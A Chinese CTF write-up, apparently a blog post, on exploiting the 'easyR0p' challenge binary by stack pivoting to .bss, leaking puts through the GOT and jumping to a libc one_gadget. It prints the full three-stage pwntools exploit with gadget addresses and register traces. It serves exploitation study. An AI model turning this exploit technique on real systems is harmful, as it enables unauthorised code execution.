pwn-栈迁移-ROP

这里写图片描述# 栈迁移-ROP

题目描述

这里给出题目链接

https://github.com/LeeHaming/CTF-learn/blob/master/easyR0p/easyR0p

程序的结构很简单,main()函数中有一个while(1)的循环,循环中rop()函数执行。

rop()中有明显的栈溢出,最开始给s申请的内存空间为:0x40;然而read()可以读入0x50字节。

于是就可以通过溢出修改程序控制流。

解题思路

题目是别人解析出来的,我目前只能达到能看懂exp的境界…….这里就是翻译别人的exp吧

1.checksec

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

可以看到启动了”栈不可执行”的保护机制;也就限制了不能在栈上运行代码。

2.寻找二进制文件提供的信息

system()

没有找到可用的system()函数

方法一:readelf -r easyR0p
方法二:在IDA-pro中使用alt+t;查找system
方法三:直接看IDA-pro中的.got.plt段信息
/bin/sh

没有找到可用的”/bin/sh”字符串

在IDA-pro中使用alt+t;查找system
可泄露的函数
readelf -r easyR0p

readelf-r

这里泄漏的是puts()函数地址;满足:地址中没有0a,并且是@plt函数

libc(offset/gadget/puts)
ldd easyR0p

ldd

可以知道,程序执行过程中使用libc.so.6,于是我们可以得到相应的offset

#python
from pwn import *
elf=ELF("./libc.so.6")
puts_off=elf.symbols['puts']

getputs_off

one_gadget ./libc.so.6

one_gadget

可控制字节数
gdb eadyR0p
pattern_create
pattern_offset

pattern_create

可以看到发生了栈溢出,此时esp(栈顶)内容为IAAeAA4A

pattern_offset

于是我们可以找到,我们一共可以输入80bytes内容,其中最后8bytes内容可以控制程序的执行流。其中读入到s的字符串长度为64byts,这时的栈情况为:

------------------------------high-address
64bytes 合法内容
8bytes old-ebp
8bytes ret-address
-------------------------------low-address

可见我们可以控制的长度一共有16bytes。

3.思路整理

linux漏洞利用之 – ROP探究

文章是关于ROP姿势的阶段性总结,里边针对不同的函数情形采取不同的方法构造ROpe

从上文可以看到,已知的二进制程序中没有可用的system()地址、/bin/sh地址、也没有可用的execve();可控制字节数为16bytes,并且栈不可执行

one_gadget && system(“/bin/sh”)

如果是system(“/bin/sh”),需要从libc.so.6中找到system()、/bin/sh,并设计执行。相比而言,在这种情况下,one_gadget()(即exceve(“/bin/sh”))更容易。因此想办法构造执行one_gadget。

于是需要获取libc_base_address—>one_gadget_address

获取libc_puts

通过puts()地址泄露,可以得到libc_base_addres

上述两个操作无法在16bytes内完成,于是需要在可读写、可执行的bss段进行构造,也就是说需要进行栈迁移

栈迁移
leave  == mov esp,ebp;pop ebp;
ret    == pop eip #弹出栈顶数据给eip寄存器

How to ROP

覆盖EBP实现栈迁移

注释: 利用的时候利用read_syscall 到execve_syscall 利用返回值当参数

注意积累栈迁移的做法,pop ebp, ret 并且利用read函数的写入功能,将执行地址写入到数据段,然后栈迁移到数据段(pop ebp; ret), 再利用 leave; ret p32(pop ebp;ret) + p32(buf - 4) + p32(leave; ret) 这样进行栈迁移

引文中提出了栈迁移的方法,需要借助:read()以及”leave/ret”将ebp修改到数据段bss;同时将希望执行的exp指令写入到数据段中,在数据段构造函数栈。

我们可以看到,该二进制文件中存在可用的read()函数,并且有可用的leave;ret

这里值得注意的是0x4006f5这行中的s是-40h;也就是从fd中读取bytes到[ebp-40h]

read-leave-ret

解读已有的exp

pop_rdi=0x4007d3    #0x00000000004007d3 : pop rdi ; ret
pop_rsi_r15=0x4007d1    #0x00000000004007d1 : pop rsi ; pop r15 ; ret
pop_rbp=0x400625    #0x0000000000400625 : pop rbp ; ret
puts_got=0x601020
puts_plt=0x400580
bss=0x601100    #.bss NOBITS  0000000000601060  00001060??

rop  = 'a'*0x40
rop += p64(bss+0x40+0x40)
rop += p64(0x4006F5)
r.send(rop)

rop  = p64(pop_rdi)
rop += p64(puts_got)
rop += p64(puts_plt)
rop += p64(pop_rbp)
rop += p64(bss+0x40+0x40)
rop += p64(0x4006F5)
rop += p64(0xdeadbeef)*2
rop += p64(bss+0x40-8)
rop += p64(0x40071C)
r.send(rop)
pause()

time.sleep(1)
data=r.recv(1000)
data=[i for i in data.split('\n') if i!='']
leak=data[-1]
leak=leak.ljust(8,'\x00')
leak=u64(leak)
print 'leak puts-->',hex(leak)

libc=leak-0x6f690
one=libc+0x4526a

rop  = 'c'*0x28
rop += p64(one)
rop += '\x00'*0x20

pause()
r.send(rop)
r.interactive()

这段exp还不是我写的,下面我将详细解析每一小段的含义以及运行之后的内存情况。

用到的address
pop_rdi=0x4007d3    #0x00000000004007d3 : pop rdi ; ret
pop_rsi_r15=0x4007d1    #0x00000000004007d1 : pop rsi ; pop r15 ; ret
pop_rbp=0x400625    #0x0000000000400625 : pop rbp ; ret
puts_got=0x601020
puts_plt=0x400580
bss=0x601100    #.bss NOBITS  0000000000601060  00001060??
ROPgadget --binary easyR0p --only "pop|ret"

pop-ret

获取puts_plt和puts_got方法:

方法一:命令行
readelf -r easyR0p
gdb中使用:info func
方法二:在IDA-pro中查看.plt段内容和.plt.got段内容

puts_plt

puts_got

但是至于那个bss的地址为什么是这个我就比较迷了……因为当我使用命令查看.bss地址没有找到这个,并且IDA中也不存在这个地址对应的内容。我目前猜测的是,是在bss段自己开辟了一段空间。

readelf -S easyR0p

findbss

我目前只能找到这个数字….emmmm离0x601100不太远…..这个问题以后慢慢解决

至此,这几个数字就解释完了

第一段rop
rop  = 'a'*0x40
rop += p64(bss+0x40+0x40)
rop += p64(0x4006F5)
r.send(rop)

这段构造了一个0x50长度rop;发送之后栈结构为:

ebp=0x7ffe24397020
esp=0x7ffe24396fe0

firstrop

接着的代码段如下,这几条指令执行完之后会将[rbp-0x40h]地址给rdi;这就是puts函数的参数;然后puts()执行之后有leave;ret;然后会:

esp=0x7ffe24397020
ebp=0x601180
esp=0x7ffe24397028
eip=0x4006f5
esp=0x7ffe24397030
rdi, rsi, rdx, rcx, r8, r9 (x64函数传参过程)
leave  == mov esp,ebp;pop ebp;
ret    == pop eip #弹出栈顶数据给eip寄存器

firstrop1

到这里,就将程序流劫持到0x4006f5了,这里会进入read()

firstrop2

这里是在处理read()函数的参数,其中fd:edi为0;count:edx为50;buf:rsi为[rbp-0x40],即0x601140。也就是要从stdin读入0x50字节到数据段0x601140处。这里就相当于栈迁移了,接下来就要发送第二段rop,将exp指令写入到数据段中。

第二段rop
rop  = p64(pop_rdi)
rop += p64(puts_got)
rop += p64(puts_plt)

rop += p64(pop_rbp)
rop += p64(bss+0x40+0x40)
rop += p64(0x4006F5)

rop += p64(0xdeadbeef)*2
rop += p64(bss+0x40-8)
rop += p64(0x40071C)
r.send(rop)

第一段rop提供了Read()函数,将上边这段rop写入到0x601140中

secondrop0

接下来的代码段内容为:

secondrop1

此时

rdi=rax=0x601140
rbp=0x601180
rsp=0x7ffe24397030
然后将rdi指向的内容puts(结果时栈结构什么的都木有变化呀...)
#leave;ret之后(mov rsp,rbp;pop rbp;pop eip)
rsp=0x601180
rbp=[0x601180]=0x601138
rsp=0x601188
eip=[0x601188]=0x40071c
rsp=0x601190

这时ret命令结束的时候,返回到0x40071c地址处,这里的代码段为:

secondrop3

于是再一次执行leave;ret

#leave;ret之后(mov rsp,rbp;pop rbp;pop eip)
rsp=0x601138
rbp=[0x601138]=0x0
rsp=0x601140
eip=[0x601140]=0x4007d3

接着开始执行0x4007d3;栈结构变为

secondrop4

#0x4007d3 pop rdi;ret
rdi=[0x601148]=0x601020
next_address=0x400580   #puts_plt

接着开始执行puts_plt;这个过程结束之后可以认为栈结构没有发生变化;但是将rdi(0x601020)中的内容(puts_address)puts出来了;ret之后进入到0x400625;

#0x400625:pop rbp;ret
rsp=0x601160
rbp=[0x601160]=0x116080
rsp=0x601168
eip=0x4006f5
rsp=0x601170

这之后就进入到0x4006f5;read()函数;这就引导我们输入下一个rop了;进入下一个rop之前,需要先弄清read()函数的参数

secondrop5

可以看到,和上次一样,从stdin读入0x50h字节到0x601140中;也就是将下一段rop读入到0x601140中

第三段rop
rop  = 'c'*0x28
rop += p64(one)
rop += '\x00'*0x20

thirdrop0

此时

rbp=0x601140
rsp=0x601168
eip=[rsp]=0x00007f16ea27c26a

接下来就执行one_gadget了

技能总结

在IDA-pro中使用alt+t;查找system
checksec
readelf -r easyR0p
ldd easyR0p
one_gadget ./libc.so.6
gdb eadyR0p
pattern_create
pattern_offset
ROPgadget --binary easyR0p --only "pop|ret"
gdb中使用:info func
readelf -S easyR0p
rdi, rsi, rdx, rcx, r8, r9 (x64函数传参过程)
leave  == mov esp,ebp;pop ebp;
ret    == pop eip #弹出栈顶数据给eip寄存器
#python
from pwn import *
elf=ELF("./libc.so.6")
puts_off=elf.symbols['puts']
  • 3
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值